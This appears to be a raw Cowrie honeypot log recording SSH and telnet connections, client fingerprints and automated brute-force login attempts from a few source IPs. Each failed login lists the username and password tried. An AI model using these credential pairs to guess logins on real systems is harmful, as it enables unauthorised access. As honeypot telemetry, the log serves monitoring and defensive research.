{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.382306Z","src_ip":"97.74.87.152","session":"63729171ee24","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.484875Z","src_ip":"91.92.40.36","session":"04719d31ff21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50292,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f92acf7b10","protocol":"ssh","message":"New connection: 45.153.34.195:50292 (10.17.0.5:22) [session: d9f92acf7b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.489633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.526155Z","src_ip":"45.153.34.195","session":"d9f92acf7b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.606457Z","src_ip":"45.153.34.195","session":"d9f92acf7b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.613098Z","src_ip":"97.74.87.152","session":"63729171ee24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.894250Z","src_ip":"45.153.34.195","session":"d9f92acf7b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:35.306051Z","src_ip":"91.92.40.36","session":"b575d6b85a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:35.367435Z","src_ip":"91.92.40.36","session":"04719d31ff21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roberto","password":"123","message":"login attempt [roberto/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:35.571496Z","src_ip":"97.74.87.152","session":"63729171ee24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:35.977147Z","src_ip":"45.153.34.195","session":"d9f92acf7b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:36.805276Z","src_ip":"97.74.87.152","session":"63729171ee24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50294,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3703d713cbb","protocol":"ssh","message":"New connection: 45.153.34.195:50294 (10.17.0.5:22) [session: d3703d713cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:37.424055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:37.465016Z","src_ip":"45.153.34.195","session":"d3703d713cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:37.547601Z","src_ip":"45.153.34.195","session":"d3703d713cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:37.905409Z","src_ip":"45.153.34.195","session":"d3703d713cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:38.920688Z","src_ip":"91.92.40.36","session":"04719d31ff21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:39.103845Z","src_ip":"45.153.34.195","session":"d3703d713cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50300,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d06e74ff8c2","protocol":"ssh","message":"New connection: 45.153.34.195:50300 (10.17.0.5:22) [session: 6d06e74ff8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.165598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.175568Z","src_ip":"45.153.34.195","session":"6d06e74ff8c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.358401Z","src_ip":"45.153.34.195","session":"6d06e74ff8c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.650948Z","src_ip":"45.153.34.195","session":"6d06e74ff8c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41884,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e6ad97c368","protocol":"ssh","message":"New connection: 91.92.40.36:41884 (10.17.0.5:22) [session: f2e6ad97c368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.719510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.820035Z","src_ip":"91.92.40.36","session":"f2e6ad97c368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.824302Z","src_ip":"91.92.40.36","session":"f2e6ad97c368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:40.991312Z","src_ip":"91.92.40.36","session":"04719d31ff21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:41.624440Z","src_ip":"91.92.40.36","session":"f2e6ad97c368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:41.814979Z","src_ip":"45.153.34.195","session":"6d06e74ff8c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:42.785907Z","src_ip":"91.92.40.36","session":"f2e6ad97c368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47196,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a308588119","protocol":"ssh","message":"New connection: 45.153.34.195:47196 (10.17.0.5:22) [session: 59a308588119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:43.115293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:43.126303Z","src_ip":"45.153.34.195","session":"59a308588119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba957031f9e1","protocol":"telnet","message":"New connection: 172.81.62.90:38174 (159.203.135.109:23) [session: ba957031f9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:43.276180Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:43.384253Z","src_ip":"45.153.34.195","session":"59a308588119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:43.869047Z","src_ip":"45.153.34.195","session":"59a308588119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:45.030671Z","src_ip":"45.153.34.195","session":"59a308588119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"2041fe444277","protocol":"telnet","message":"New connection: 128.199.8.54:35820 (159.203.135.109:23) [session: 2041fe444277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:45.925406Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47212,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e7d47e5cea4","protocol":"ssh","message":"New connection: 45.153.34.195:47212 (10.17.0.5:22) [session: 9e7d47e5cea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:46.029122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:46.033431Z","src_ip":"45.153.34.195","session":"9e7d47e5cea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:46.124069Z","src_ip":"45.153.34.195","session":"9e7d47e5cea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer1","password":"developer1","message":"login attempt [developer1/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:46.413872Z","src_ip":"45.153.34.195","session":"9e7d47e5cea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:47.498856Z","src_ip":"45.153.34.195","session":"9e7d47e5cea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40088,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62ce7f5c220","protocol":"ssh","message":"New connection: 91.92.40.36:40088 (10.17.0.5:22) [session: e62ce7f5c220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:48.662080Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47218,"dst_ip":"10.17.0.5","dst_port":22,"session":"8433b7c6999d","protocol":"ssh","message":"New connection: 45.153.34.195:47218 (10.17.0.5:22) [session: 8433b7c6999d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:48.957136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:48.966469Z","src_ip":"45.153.34.195","session":"8433b7c6999d","protocol":"ssh"}
